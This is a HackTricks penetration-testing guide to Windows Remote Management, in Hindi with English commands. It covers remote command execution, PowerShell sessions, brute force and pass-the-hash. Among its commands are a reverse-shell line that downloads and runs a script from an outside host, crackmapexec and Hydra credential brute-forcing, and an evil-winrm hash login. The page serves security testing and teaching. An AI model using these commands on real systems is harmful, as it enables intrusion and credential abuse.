# 5985,5986 - Pentesting WinRM {{#include ../banners/hacktricks-training.md}} ## WinRM [Windows Remote Management (WinRM)]() को **Microsoft द्वारा एक प्रोटोकॉल** के रूप में उजागर किया गया है जो **Windows सिस्टम का दूरस्थ प्रबंधन** HTTP(S) के माध्यम से सक्षम करता है, प्रक्रिया में SOAP का उपयोग करते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए HTTP-आधारित इंटरफेस के रूप में प्रस्तुत होता है। किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सरल दूरस्थ प्रशासन की अनुमति देती है, जैसे SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** उपरोक्त सूची में से एक खुला पोर्ट यह संकेत देता है कि WinRM सेटअप किया गया है, जिससे दूरस्थ सत्र आरंभ करने के प्रयासों की अनुमति मिलती है। ### **WinRM सत्र शुरू करना** PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet कार्य में आता है, जो कंप्यूटर को दूरस्थ PowerShell आदेश स्वीकार करने के लिए सेट करता है। उच्च स्तर की PowerShell पहुंच के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित आदेश निष्पादित किए जा सकते हैं: ```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` इस दृष्टिकोण में `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ना शामिल है, जो इसके प्रभावों के कारण सावधानीपूर्वक विचार की आवश्यकता होती है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है। इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से** सक्रिय किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है: ```bash wmic /node: process call create "powershell enable-psremoting -force" ``` यह विधि दूरस्थ रूप से WinRM सेटअप करने की अनुमति देती है, जो दूर से Windows मशीनों का प्रबंधन करने में लचीलापन बढ़ाती है। ### परीक्षण करें कि क्या कॉन्फ़िगर किया गया है अपने हमले की मशीन के सेटअप की पुष्टि करने के लिए, `Test-WSMan` कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्ष्य पर WinRM सही ढंग से कॉन्फ़िगर किया गया है। इस कमांड को निष्पादित करने पर, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की अपेक्षा करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक गैर-कॉन्फ़िगर किए गए लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं: - एक लक्ष्य जो **सही** ढंग से कॉन्फ़िगर किया गया है, उसका आउटपुट इस तरह दिखेगा: ```bash Test-WSMan ``` प्रतिक्रिया में प्रोटोकॉल संस्करण और wsmid के बारे में जानकारी होनी चाहिए, जो यह दर्शाता है कि WinRM सही तरीके से सेटअप किया गया है। ![](<../images/image (582).png>) - इसके विपरीत, एक लक्ष्य **जो** WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके परिणामस्वरूप ऐसी विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करती है। ![](<../images/image (458).png>) ### एक कमांड निष्पादित करें लक्ष्य मशीन पर `ipconfig` को दूरस्थ रूप से निष्पादित करने और इसके आउटपुट को देखने के लिए करें: ```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) आप अपने वर्तमान PS कंसोल का **कमांड भी _**Invoke-Command**_ के माध्यम से चला सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से _**enumeration**_ नामक एक फ़ंक्शन है और आप इसे **एक दूरस्थ कंप्यूटर पर चलाना चाहते हैं**, तो आप ऐसा कर सकते हैं: ```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### एक स्क्रिप्ट चलाएँ ```bash Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### रिवर्स-शेल प्राप्त करें ```bash Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### एक PS सत्र प्राप्त करें इंटरएक्टिव PowerShell शेल प्राप्त करने के लिए `Enter-PSSession` का उपयोग करें: ```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) # Enter Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ## Bypass proxy Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save session in var $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess ## Background current PS session Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...) ``` ![](<../images/image (1009).png>) **सत्र एक नए प्रक्रिया (wsmprovhost) में "शिकार" के अंदर चलेगा** ### **WinRM को खोलने के लिए मजबूर करना** PS Remoting और WinRM का उपयोग करने के लिए लेकिन कंप्यूटर कॉन्फ़िगर नहीं है, आप इसे सक्षम कर सकते हैं: ```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Saving and Restoring sessions यह **काम नहीं करेगा** यदि **भाषा** दूरस्थ कंप्यूटर में **सीमित** है। ```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) #You can save a session inside a variable $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)] #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` इस सत्र के अंदर आप _Invoke-Command_ का उपयोग करके PS स्क्रिप्ट लोड कर सकते हैं। ```bash Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Errors यदि आप निम्नलिखित त्रुटि पाते हैं: `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` क्लाइंट पर प्रयास करें (जानकारी [यहां](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ``` ## WinRM कनेक्शन लिनक्स में ### ब्रूट फोर्स सावधान रहें, winrm पर ब्रूट-फोर्सिंग उपयोगकर्ताओं को ब्लॉक कर सकती है। ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt #Just check a pair of credentials # Username + Password + CMD command execution crackmapexec winrm -d -u -p -x "whoami" # Username + Hash + PS command execution crackmapexec winrm -d -u -H -X '$PSVersionTable' #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm ``` ### evil-winrm का उपयोग करना ```ruby gem install evil-winrm ``` **दस्तावेज़ीकरण** को इसके गिटहब पर पढ़ें: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` **evil-winrm** का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, जिसमें IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें। ### evil-winrm के साथ हैश पास करें ```ruby evil-winrm -u -H -i ``` ![](<../images/image (680).png>) ### एक PS-docker मशीन का उपयोग करना ``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` ### एक रूबी स्क्रिप्ट का उपयोग करना **कोड यहाँ से निकाला गया:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/) ```ruby require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt # https://alamot.github.io/winrm_shell/ conn = WinRM::Connection.new( endpoint: 'https://IP:PORT/wsman', transport: :ssl, user: 'username', password: 'password', :no_ssl_peer_verification => true ) class String def tokenize self. split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/). select {|s| not s.empty? }. map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')} end end command="" file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| until command == "exit\n" do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets if command.start_with?('UPLOAD') then upload_command = command.tokenize print("Uploading " + upload_command[1] + " to " + upload_command[2]) file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path| puts("#{bytes_copied} bytes of #{total_bytes} bytes copied") end command = "echo `nOK`n" end output = shell.run(command) do |stdout, stderr| STDOUT.print(stdout) STDERR.print(stderr) end end puts("Exiting with code #{output.exitcode}") end ``` ## Shodan - `port:5985 Microsoft-HTTPAPI` ## References - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## HackTricks Automatic Commands ``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for WinRM Note: | Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. sudo gem install winrm winrm-fs colorize stringio git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/ ^^so you can upload binary's from that directory or -s to upload scripts (sherlock) menu invoke-binary `tab` #python3 import winrm s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` {{#include ../banners/hacktricks-training.md}}